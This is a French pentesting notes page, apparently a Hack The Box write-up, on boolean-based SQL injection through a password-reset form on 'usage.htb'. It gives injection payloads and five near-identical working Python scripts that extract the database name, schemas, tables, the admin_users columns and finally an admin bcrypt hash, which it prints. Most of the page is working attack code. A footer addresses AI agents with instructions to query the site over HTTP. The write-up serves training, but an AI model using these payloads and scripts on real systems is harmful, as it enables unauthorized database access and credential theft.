> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# Réponses conditionnelles SQLi

## SQLi :

Nous découvrons un panneau de réinitialisation de mot de passe vulnérable à une injection SQL

<figure><img src="/files/f02cf64a70db612f62614fa128d03d116d1036c8" alt=""><figcaption></figcaption></figure>

. En interceptant les requêtes avec Burp Suite, nous obtenons le message "*Nous vous avons envoyé votre mot de passe par e-mail*".

<figure><img src="/files/727f75fcfce72532a00ad33150f9b3b03868f572" alt=""><figcaption></figcaption></figure>

Lorsque nous tentons une injection SQL basique, cela réussit et nous recevons à nouveau le même message d'erreur, confirmant que l'injection fonctionne. L'injection de test de base est : `iojfeifif' or 1=1-- -`

<figure><img src="/files/9892b901fdd54d63933d37505d7fd9f5f36221a1" alt="" width="563"><figcaption></figcaption></figure>

### Réponses conditionnelles SQLi :

> Bien que les résultats de la requête SQL ne soient pas renvoyés et qu'aucun message d'erreur n'apparaisse, l'application affiche le message "nous vous avons envoyé votre mot de passe par e-mail" sur la page si la requête renvoie des lignes. Nous vérifions cette hypothèse en lançant une injection conditionnelle utilisant la fonction `substring` pour extraire les premières lettres du nom de la base de données. Exemple d’injection :

* Tester la première lettre du nom de la base de données :/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Tester la deuxième lettre du nom de la base de données : `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/b823527e45f3c4c986914423f17320d25d58d6db" alt=""><figcaption></figcaption></figure>

### Énumération du nom de la base de données :

Nous automatisons la découverte du nom de la base de données avec un script Python qui envoie des charges utiles spécifiques et enregistre les résultats lorsque le serveur affiche la réponse "nous vous avons envoyé votre mot de passe par e-mail".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Réponses conditionnelles SQLi
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Réponses conditionnelles SQLi
signal.signal(signal.SIGINT, def_handler)
# Réponses conditionnelles SQLi
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # Envoyer la requête POST avec le payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")
            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "nous vous avons envoyé votre mot de passe par e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si un caractère a été trouvé pour cette position, passer à la position suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")
    p1.success("L'injection SQL par force brute est terminée")
    p2.success(f"Données extraites : {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/3189ea05de4d6d60bef0db61d3a1d57a0e2c4c6d" alt="" width="440"><figcaption></figcaption></figure>

### Énumération des bases de données :

Nous modifions le payload pour énumérer toutes les bases de données sur le serveur. Nous utilisons `group_concat` de `information_schema.schemata` pour récupérer les noms des bases de données disponibles.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Réponses conditionnelles SQLi
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Réponses conditionnelles SQLi
signal.signal(signal.SIGINT, def_handler)
# Réponses conditionnelles SQLi
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # Envoyer la requête POST avec le payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")
            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "nous vous avons envoyé votre mot de passe par e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si un caractère a été trouvé pour cette position, passer à la position suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")
    p1.success("L'injection SQL par force brute est terminée")
    p2.success(f"Données extraites : {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/e3e5bc6cc53511ea25cae7c27bf1c1e10145bb4d" alt="" width="563"><figcaption></figcaption></figure>

### Énumération des tables de la base de données `usage_blog`:

Après avoir trouvé la `usage_blog` base de données, nous modifions à nouveau le payload pour énumérer les tables de cette base de données. Nous utilisons la `group_concat` fonction pour récupérer tous les noms de tables de la `usage_blog` base de données.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Réponses conditionnelles SQLi
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Réponses conditionnelles SQLi
signal.signal(signal.SIGINT, def_handler)
# Réponses conditionnelles SQLi
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # Envoyer la requête POST avec le payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")
            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "nous vous avons envoyé votre mot de passe par e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si un caractère a été trouvé pour cette position, passer à la position suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")
    p1.success("L'injection SQL par force brute est terminée")
    p2.success(f"Données extraites : {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/a02ddd7eedfab06657c3a7e50e96239249b2a429" alt=""><figcaption></figcaption></figure>

### Énumération des colonnes pour la table `admin_users`:

Une fois la table identifiée, nous ciblons la table `admin_users` pour énumérer ses colonnes. Nous utilisons à nouveau la fonction `group_concat` pour récupérer les noms des colonnes spécifiques de cette table.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Réponses conditionnelles SQLi
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Réponses conditionnelles SQLi
signal.signal(signal.SIGINT, def_handler)
# Réponses conditionnelles SQLi
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # Envoyer la requête POST avec le payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")
            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "nous vous avons envoyé votre mot de passe par e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si un caractère a été trouvé pour cette position, passer à la position suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")
    p1.success("L'injection SQL par force brute est terminée")
    p2.success(f"Données extraites : {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/782ca434ffb26b53d13cfde7e9d06419d4b95bc4" alt=""><figcaption></figcaption></figure>

### Affichage de `le nom d'utilisateur` et `mot de passe`:

Pour afficher les identifiants et mots de passe des utilisateurs de la table `admin_users`, la requête SQL sera modifiée de manière à concaténer les champs `le nom d'utilisateur` et `mot de passe`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Réponses conditionnelles SQLi
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Réponses conditionnelles SQLi
signal.signal(signal.SIGINT, def_handler)
# Réponses conditionnelles SQLi
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # Envoyer la requête POST avec le payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")
            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "nous vous avons envoyé votre mot de passe par e-mail" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si un caractère a été trouvé pour cette position, passer à la position suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")
    p1.success("L'injection SQL par force brute est terminée")
    p2.success(f"Données extraites : {data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/9fe4dc199a51cd57b34de85fb5f5a0b93fd38775" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
